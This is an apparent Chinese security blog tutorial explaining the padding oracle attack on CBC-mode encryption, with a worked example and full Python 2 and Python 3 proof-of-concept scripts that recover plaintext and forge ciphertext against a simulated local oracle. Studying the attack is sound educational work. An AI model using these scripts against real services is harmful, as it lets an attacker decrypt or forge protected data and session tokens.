一文搞明白 Padding Oracle Attack

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一文搞明白 Padding Oracle Attack

前言

讲讲Padding Oracle Attack,之前在ctf中遇到过一次,但直接拿了网上找的exp就没仔细学,现在回头看看学学

Padding Oracle Attack是比较早的一种漏洞利用方式了,在2011年的Pwnie Rewards中被评为”最具有价值的服务器漏洞“。该漏洞主要是由于设计使用的场景不当,导致可以利用密码算法通过”旁路攻击“被破解,并不是对算法的破解

利用该漏洞可以破解出密文的明文以及将明文加密成密文,该漏洞存在条件如下:

  • 攻击者能够获取到密文(基于分组密码模式),以及IV向量(通常附带在密文前面,初始化向量)

  • 攻击者能够修改密文触发解密过程,解密成功和解密失败存在差异性

一、基础知识

1、分组密码

在密码学中,分组加密(Block Cipher),又称分块加密或块密码,是一种对称密钥算法,如3DES、AES在加密时一般都会采用。它将明文分成多个等长的模块(block),如常见的64bit、128bit、256bit,使用确定的算法和对称密钥对每组分别加密解密

分组带来一个问题,就是明文不可能恰好是block的整数倍,对于不能整除剩余的部分数据就涉及到填充操作。最常用的填充操作有PKCS#5:在最后一个block中将不足的bit位数作为bit值进行填充,缺少n个bit,就填充n个0x0n,例如最后一个分组(block)缺少3个bit,就填充3个0x03到结尾。在解密时会校验明文的填充是否满足该规则,如果是以N个0x0N结束,则意味着解密操作执行成功,否则解密操作失败

看个64bit的block的例子如下,请注意,每个字符串都至少有1个字节的填充数据:

一文搞明白 Padding Oracle Attack

2、CBC加密模式

分组密码算法有四种模式,分别是ECB、CBC、CFB和OFB,其中CBC是IPSEC的标准做法

CBC(Cipher Block Chaining)主要是引入一个初始化向量(Initialization Vector,IV)来加强密文的随机性,保证相同明文通过相同的密钥加密的结果不一样

这是一种分组链接模式,目的是为了使原本独立的分组密码加密过程形成迭代,使每次加密的结果影响到下一次加密。这行可以强化加密算法的"敏感性",即实现所谓的"雪崩效应",在香浓理论中这就是"扰乱原则"

(1)加密过程

如图所示:

  • 明文经过填充后,分为不同的组block,以组的方式对数据进行处理

  • 初始化向量(IV)首先和第一组明文进行XOR(异或)操作,得到”中间值“

  • 采用密钥对中间值进行块加密,删除第一组加密的密文 (加密过程涉及复杂的变换、移位等)

  • 第一组加密的密文作为第二组的初始向量(IV),参与第二组明文的异或操作

  • 依次执行块加密,最后将每一块的密文拼接成密文

一文搞明白 Padding Oracle Attack
由于初始化向量(IV)每次加密都是随机的,所以IV经常会被放在密文的前面,解密时先获取前面的IV,再对后面的密文进行解密

(2)解密过程

如图所示:

  • 会将密文进行分组(按照加密采用的分组大小),前面的第一组是初始化向量,从第二组开始才是真正的密文

  • 使用加密密钥对密文的第一组进行解密,得到”中间值“

  • 将中间值和初始化向量进行异或,得到该组的明文

  • 前一块密文是后一块密文的IV,通过异或中间值,得到明文

  • 块全部解密完成后,拼接得到明文,密码算法校验明文的格式(填充格式是否正确)

  • 校验通过得到明文,校验失败得到密文

一文搞明白 Padding Oracle Attack

二、Padding Oracle Attack 原理

1、根源

这个攻击的根源是明文分组和填充,同时应用程序对于填充异常的响应可以作为反馈,例如请求http://www.example.com/decrypt.jsp?data=0000000000000000EFC2807233F9D7C097116BB33E813C5E,当攻击者在篡改data值时会有以下不同的响应:

  • 如果data值没有被篡改,则解密成功,并且业务校验成功,响应200

  • 如果data值被篡改,服务端无法完成解密,解密校验失败,则响应500

  • 如果data值被篡改,但是服务端解密成功,但业务逻辑校验失败,则可能返回200或302等响应码,而不是响应500

攻击者只需要关注解密成功和解密失败的响应即可(第三种属于解密成功的响应),即可完成攻击

2、破解明文

以一个例子进行猜解,假设有这样一个应用,请求如下:

http://www.example.com/decrypt.jsp?data=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6

即client给server提交的参数为7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
才能请求正常的服务

(1)上帝视角

加密过程

一文搞明白 Padding Oracle Attack

解密过程

一文搞明白 Padding Oracle Attack

关注上图绿色圈起来的部分,解密之后的最后一个数据块,其结尾应该包含正确的填充序列。如果这点没有满足,那么加/解密程序就会抛出一个填充异常。Padding Oracle Attack的关键就是利用程序是否抛出异常来判断padding是否正确。

(2)攻击者视角

现在让我们来看看在不知道明文的情况下,如何猜解出明文。首先我们将密文分组,前面8个字节为初始化向量,后面16个字节为加密后的数据:

初始化向量:7B  21  6A  63  49  51  17  0F第一组密文:F8  51  D6  CC  68  FC  95  37第二组密文:85  87  95  A2  8E  D4  AA  C6

我们来看如何通过构造前面初始向量来破解第一组密文:http://www.example.com/decrypt.jsp?data=7B216A634951170FF851D6CC68FC9537

  • 将初始化向量全部设置为0,提交如下请求http://www.example.com/decrypt.jsp?data=00000000000000000F851D6CC68FC9537 ,服务器势必会解密失败,返回HTTP 500,那是因为在对数据进行解密的时候,明文最后一个字节的填充是0x3D,不满足填充规则,校验失败,此时示意图如下:
    一文搞明白 Padding Oracle Attack

  • 依次将初始化向量最后一个字节从0x01~0xFF递增,直到解密的明文最后一个字节为0x01,成为一个正确的padding,当初始化向量为000000000000003C时,成功了,服务器返回HTTP 200,解密示意图如下:
    一文搞明白 Padding Oracle Attack

  • 我们已知构造成功的IV最后一个字节为0x3C,最后一个填充字符为0x01,则我们能通过XOR计算出,第一组密文解密后的中间值最后一个字节:0x01 xor 0x3C = 0x3D;
    重点:第一组密文解密的中间值是一直不变的,同样也是正确的,我们通过构造IV值,使得最后一位填充值满足0x01,符合padding规则,则意味着程序解密成功(当前解密的结果肯定不是原来的明文),通过循环测试的方法,猜解出中间值的最后一位,再利用同样的方式猜解前面的中间值,直到获取到完整的中间值

  • 下面我们将构造填充值为0x02 0x02的场景,即存在2个填充字节,填充值为0x02,此时我们已经知道了中间值得最后一位为0x3D,计算出初始向量的最后一位为 0x3D xor 0x02 = 0x3F, 即初始向量为0000000000000003F,遍历倒数第二个字节从0x00~0xFF,直到响应成功,猜解出中间值得后两个字节分别为 0x26 0x3D,示例图如下:
    一文搞明白 Padding Oracle Attack

  • 通过同样的方式,完成第一组密文中间值的猜解
    一文搞明白 Padding Oracle Attack

  • 当第一组密文的中间值猜解成功后,我们将中间值和已知的IV做异或,则得到第一组密文的明文

0x39 0x73 0x23 0x22 0x07 0x6A 0x26 0x3D xor 0x7B 0x21 0x6A 0x63 0x49 0x51 0x17 0x0F= BRIAN;12
  • 续破解第二组密文,第二组密文的IV向量是第一组密文,按照上述的逻辑构造第一组密文,即可破解出第二组明文

3、伪造密文

我们已经知道了中间值,那么只需传递指定的IV,就能制造任意想要的密文,如加密TEST

一文搞明白 Padding Oracle Attack

4、脚本

(1)perl

https://github.com/AonCyberLabs/PadBuster

(2)python2

"""    Padding Oracle Attack POC(CBC-MODE)    Author: axis([email protected])    http://hi.baidu.com/aullik5    2011.9    This program is based on Juliano Rizzo and Thai Duong's talk on     Practical Padding Oracle Attack.(http://netifera.com/research/)    For Education Purpose Only!!!    This program is free software: you can redistribute it and/or modify    it under the terms of the GNU General Public License as published by    the Free Software Foundation, either version 3 of the License, or    (at your option) any later version.    This program is distributed in the hope that it will be useful,    but WITHOUT ANY WARRANTY; without even the implied warranty of    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the    GNU General Public License for more details.    You should have received a copy of the GNU General Public License    along with this program.  If not, see <http://www.gnu.org/licenses/>."""import sys# https://www.dlitz.net/software/pycrypto/from Crypto.Cipher import *import binascii# the key for encrypt/decrypt# we demo the poc here, so we need the key# in real attack, you can trigger encrypt/decrypt in a complete blackbox envENCKEY = 'abcdefgh'def main(args):  print   print "=== Padding Oracle Attack POC(CBC-MODE) ==="  print "=== by axis ==="  print "=== [email protected] ==="  print "=== 2011.9 ==="  print   ########################################  # you may config this part by yourself  iv = '12345678'  plain = 'aaaaaaaaaaaaaaaaX'  plain_want = "opaas"  # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2   cipher = "blowfish"  ########################################  block_size = 8  if cipher.lower() == "aes":    block_size = 16  if len(iv) != block_size:    print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!"    return False  print "=== Generate Target Ciphertext ==="  ciphertext = encrypt(plain, iv, cipher)  if not ciphertext:    print "[-] Encrypt Error!"    return False  print "[+] plaintext is: "+plain  print "[+] iv is: "+hex_s(iv)  print "[+] ciphertext is: "+ hex_s(ciphertext)  print  print "=== Start Padding Oracle Decrypt ==="  print  print "[+] Choosing Cipher: "+cipher.upper()  guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size)  if guess:    print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"])    print "[+] plaintext = intermediary_value XOR original_IV"    print "[+] Guess plaintext is: "+guess["plaintext"]    print    if plain_want:      print "=== Start Padding Oracle Encrypt ==="      print "[+] plaintext want to encrypt is: "+plain_want      print "[+] Choosing Cipher: "+cipher.upper()      en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size)      if en:        print "[+] Encrypt Success!"        print "[+] The ciphertext you want is: "+hex_s(en[block_size:])        print "[+] IV is: "+hex_s(en[:block_size])        print        print "=== Let's verify the custom encrypt result ==="        print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:"        de = decrypt(en[block_size:], en[:block_size], cipher)        if de == add_PKCS5_padding(plain_want, block_size):          print de          print "[+] Bingo!"        else:          print "[-] It seems something wrong happened!"          return False    return True  else:    return Falsedef padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8):  # the last block  guess_cipher = ciphertext[0-block_size:]   plaintext = add_PKCS5_padding(plaintext, block_size)  print "[*] After padding, plaintext becomes to: "+hex_s(plaintext)  print  block = len(plaintext)  iv_nouse = iv # no use here, in fact we only need intermediary  prev_cipher = ciphertext[0-block_size:] # init with the last cipher block  while block > 0:    # we need the intermediary value    tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False)    # calculate the iv, the iv is the ciphertext of the previous block    prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] )    #save result    guess_cipher = prev_cipher + guess_cipher    block = block - block_size  return guess_cipher  def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True):  # split cipher into blocks; we will manipulate ciphertext block by block  cipher_block = split_cipher_block(ciphertext, block_size)  if cipher_block:    result = {}    result["intermediary"] = ''    result["plaintext"] = ''    counter = 0    for c in cipher_block:      if debug:        print "[*] Now try to decrypt block "+str(counter)        print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c)        print      # padding oracle to each block      guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug)      if guess:        iv = c        result["intermediary"] += guess["intermediary"]        result["plaintext"] += guess["plaintext"]        if debug:          print          print "[+] Block "+str(counter)+" decrypt!"          print "[+] intermediary value is: "+hex_s(guess["intermediary"])          print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"]          print        counter = counter+1      else:        print "[-] padding oracle decrypt error!"        return False    return result  else:    print "[-] ciphertext's block_size is incorrect!"        return Falsedef padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True):  result = {}  plain = ''  intermediary = []  # list to save intermediary  iv_p = [] # list to save the iv we found  for i in range(1, block_size+1):    iv_try = []    iv_p = change_iv(iv_p, intermediary, i)    # construct iv    # iv = x00...(several 0 bytes) + x0e(the bruteforce byte) + xdc...(the iv bytes we found)    for k in range(0, block_size-i):      iv_try.append("x00")    # bruteforce iv byte for padding oracle    # 1 bytes to bruteforce, then append the rest bytes    iv_try.append("x00")    for b in range(0,256):      iv_tmp = iv_try      iv_tmp[len(iv_tmp)-1] = chr(b)      iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp)      # append the result of iv, we've just calculate it, saved in iv_p      for p in range(0,len(iv_p)):        iv_tmp_s += iv_p[len(iv_p)-1-p]      # in real attack, you have to replace this part to trigger the decrypt program      #print hex_s(iv_tmp_s) # for debug      plain = decrypt(ciphertext, iv_tmp_s, cipher)      #print hex_s(plain) # for debug      # got it!      # in real attack, you have to replace this part to the padding error judgement      if check_PKCS5_padding(plain, i):        if debug:          print "[*] Try IV: "+hex_s(iv_tmp_s)          print "[*] Found padding oracle: " + hex_s(plain)        iv_p.append(chr(b))        intermediary.append(chr(b ^ i))        break  plain = ''  for ch in range(0, len(intermediary)):    plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) )  result["plaintext"] = plain  result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1]  return result# save the iv bytes found by padding oracle into a listdef change_iv(iv_p, intermediary, p):  for i in range(0, len(iv_p)):    iv_p[i] = chr( ord(intermediary[i]) ^ p)  return iv_p  def split_cipher_block(ciphertext, block_size=8):  if len(ciphertext) % block_size != 0:    return False  result = []  length = 0  while length < len(ciphertext):    result.append(ciphertext[length:length+block_size])    length += block_size  return resultdef check_PKCS5_padding(plain, p):  if len(plain) % 8 != 0:    return False  # convert the string  plain = plain[::-1]  ch = 0  found = 0  while ch < p:    if plain[ch] == chr(p):      found += 1    ch += 1   if found == p:    return True  else:    return Falsedef add_PKCS5_padding(plaintext, block_size):  s = ''  if len(plaintext) % block_size == 0:    return plaintext  if len(plaintext) < block_size:    padding = block_size - len(plaintext)  else:    padding = block_size - (len(plaintext) % block_size)  for i in range(0, padding):    plaintext += chr(padding)  return plaintextdef decrypt(ciphertext, iv, cipher):  # we only need the padding error itself, not the key  # you may gain padding error info in other ways  # in real attack, you may trigger decrypt program  # a complete blackbox environment  key = ENCKEY  if cipher.lower() == "des":    o = DES.new(key, DES.MODE_CBC,iv)  elif cipher.lower() == "aes":    o = AES.new(key, AES.MODE_CBC,iv)  elif cipher.lower() == "des3":    o = DES3.new(key, DES3.MODE_CBC,iv)  elif cipher.lower() == "blowfish":    o = Blowfish.new(key, Blowfish.MODE_CBC,iv)  elif cipher.lower() == "cast":    o = CAST.new(key, CAST.MODE_CBC,iv)  elif cipher.lower() == "arc2":    o = ARC2.new(key, ARC2.MODE_CBC,iv)  else:    return False  if len(iv) % 8 != 0:    return False  if len(ciphertext) % 8 != 0:    return False  return o.decrypt(ciphertext)def encrypt(plaintext, iv, cipher):  key = ENCKEY  if cipher.lower() == "des":    if len(key) != 8:      print "[-] DES key must be 8 bytes long!"      return False    o = DES.new(key, DES.MODE_CBC,iv)  elif cipher.lower() == "aes":    if len(key) != 16 and len(key) != 24 and len(key) != 32:      print "[-] AES key must be 16/24/32 bytes long!"      return False    o = AES.new(key, AES.MODE_CBC,iv)  elif cipher.lower() == "des3":    if len(key) != 16:      print "[-] Triple DES key must be 16 bytes long!"      return False    o = DES3.new(key, DES3.MODE_CBC,iv)  elif cipher.lower() == "blowfish":    o = Blowfish.new(key, Blowfish.MODE_CBC,iv)  elif cipher.lower() == "cast":    o = CAST.new(key, CAST.MODE_CBC,iv)  elif cipher.lower() == "arc2":    o = ARC2.new(key, ARC2.MODE_CBC,iv)  else:    return False  plaintext = add_PKCS5_padding(plaintext, len(iv))    return o.encrypt(plaintext)def xor_str(a,b):  if len(a) != len(b):    return False  c = ''  for i in range(0, len(a)):    c += chr( ord(a[i]) ^ ord(b[i]) )  return cdef hex_s(str):  re = ''  for i in range(0,len(str)):    re += "\x"+binascii.b2a_hex(str[i])  return reif __name__ == "__main__":        main(sys.argv)

(3)python3

poa.py

#!/usr/bin/env pythonfrom hexdump import hexdumpfrom Crypto.Cipher import AESimport IPythonplain = b"Hello World! MTDP! RedTeam! 23333"class POA(object):    KEY = b"1234567890abcdef"    IV = b"0102030405060708"    @classmethod    def __pad(cls, text: bytes):        """PKCS7 padding"""        text_length = len(text)        amount_to_pad = AES.block_size - (text_length % AES.block_size)        if amount_to_pad == 0:            amount_to_pad = AES.block_size        pad = chr(amount_to_pad).encode()        return text + pad * amount_to_pad    @classmethod    def __unpad(cls, text: bytes):        pad = text[-1]        _pad = text[-pad:]        for i in _pad:            if pad != i:                raise Exception("Error Padding! - %s" % _pad)        return text[:-pad]    @classmethod    def encrypt(cls, plain: bytes):        pad_plain = cls.__pad(plain)        aes = AES.new(mode=AES.MODE_CBC, key=cls.KEY, iv=cls.IV)        cipher = aes.encrypt(pad_plain)        hexdump(cipher)        return cipher    @classmethod    def decrypt(cls, cipher: bytes):        aes = AES.new(mode=AES.MODE_CBC, key=cls.KEY, iv=cls.IV)        pad_plain = aes.decrypt(cipher)        return cls.__unpad(pad_plain)    @classmethod    def decrypt_without_result(cls, cipher: bytes):        try:            cls.decrypt(cipher)            return True        except Exception as e:            # print(e)            return Falsedef test():    return POA.encrypt(plain)if __name__ == "__main__":    cipher = test()    plain = POA.decrypt(cipher)    print(plain)    IPython.embed()

poa_attack.py

#!/usr/bin/env python3import pdbfrom poa import test, POAfrom Crypto.Cipher import AESimport IPythonclass PaddingOracleAttack(object):    def __init__(self, cipher, iv):        self.cipher = cipher        # 把密文分割成列表,每个列表元素16字节        self.cipher_lst = self.split_block(self.cipher)        # 解密的中间值        self.mid_lst = [self.brute_middle(self.cipher_lst[-1])]        # 存储计算出来的明文        self.plain_lst = [[] for _ in self.cipher_lst]    @classmethod    def split_block(cls, cipher):        cipher_list = []        for i in range(0, len(cipher), 16):            cipher_list.append(cipher[i: i + 16])        return cipher_list    def calc_new_tail(self, tail, idx):        new_tail = b""        for t in tail:            _tail = t ^ (idx - 1) ^ idx            new_tail += _tail.to_bytes(1, byteorder="big")        return new_tail    def brute_middle(self, cipher_line):        '''暴力破解解密的中间值'''        tail = b""        mid_lst = []        # 从pad 为0x01开始 到 0x10        for pad in range(1, 17):            # 计算新的pad尾部,因为每计算出来一个pad,再往前计算新的pad的时候,尾部的每一个值异或出来都要放大1位。            tail = self.calc_new_tail(tail, pad)            find_pad = False            for i in range(0, 256):                # 形成2个密文块                cipher = b"x00" * (16 - pad) + i.to_bytes(1, byteorder="big") + tail + cipher_line                if POA.decrypt_without_result(cipher):                    # print("[!] Cipher - %s" % cipher)                    find_pad = True                    tail = i.to_bytes(1, byteorder="big") + tail                    mid_chr = i ^ pad                    mid_lst.insert(0, mid_chr)            if not find_pad:                raise Exception("Error not find pad!")        return bytes(mid_lst)    @classmethod    def __pad(cls, text: bytes):        """PKCS7 padding"""        text_length = len(text)        amount_to_pad = AES.block_size - (text_length % AES.block_size)        if amount_to_pad == 0:            amount_to_pad = AES.block_size        pad = chr(amount_to_pad).encode()        return text + pad * amount_to_pad    def fake(self, plain, cipher=None, mid=None):        '''伪造        :plain: 要伪造的明文        :last_cipher: 一个密文块        :last_mid:  密文块解密出来的中间值        '''        pad_plain = self.__pad(plain)        plain_lst = self.split_block(pad_plain)        mid = mid if mid else self.mid_lst[-1]        cipher = [cipher if cipher else self.cipher_lst[-1]]        # 从最后开始计算        for plain in plain_lst[::-1]:            need_iv = b""            for idx in range(len(plain)):                _m = mid[idx]                _p = plain[idx]                need_iv += (_m ^ _p).to_bytes(1, byteorder="big")            mid = self.brute_middle(need_iv)            cipher.insert(0, need_iv)        return cipher[0], b''.join(cipher[1:])    def decrypt(self):        '''解密'''        # 从最后开始计算        self.mid_lst = []        for _idx in range(len(self.cipher_lst), 0, -1):            line_idx = _idx - 1            cipher_line = self.cipher_lst[line_idx]            if line_idx >= 1:                # 获取上一行密文数据,因为每一行的明文加密之前需要与上一行的密文异或                p_cipher_line = self.cipher_lst[line_idx - 1]            else:                # 如果是第一行,则其与IV异或                p_cipher_line = iv            _mid = self.brute_middle(cipher_line)            self.mid_lst.insert(0, _mid)            for idx, _m in enumerate(_mid):                plain_chr = _m ^ p_cipher_line[idx]                self.plain_lst[line_idx].append(plain_chr)        plain = b""        for p in self.plain_lst:            plain += bytes(p)        return plainif __name__ == "__main__":    cipher = test()     # 获取密文    iv = POA.IV         # 获取初始化向量    poa_atck = PaddingOracleAttack(cipher, iv)    new_iv, new_cipher = poa_atck.fake(b"wo ai beijing tianan men!")    plain = poa_atck.decrypt()    IPython.embed()

结语

经典通过错误响应的反馈进行的攻击

参考:

  • https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html

  • https://blog.skullsecurity.org/2013/a-padding-oracle-example

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  • 本文由 发表于 2025年1月6日11:20:55
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                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

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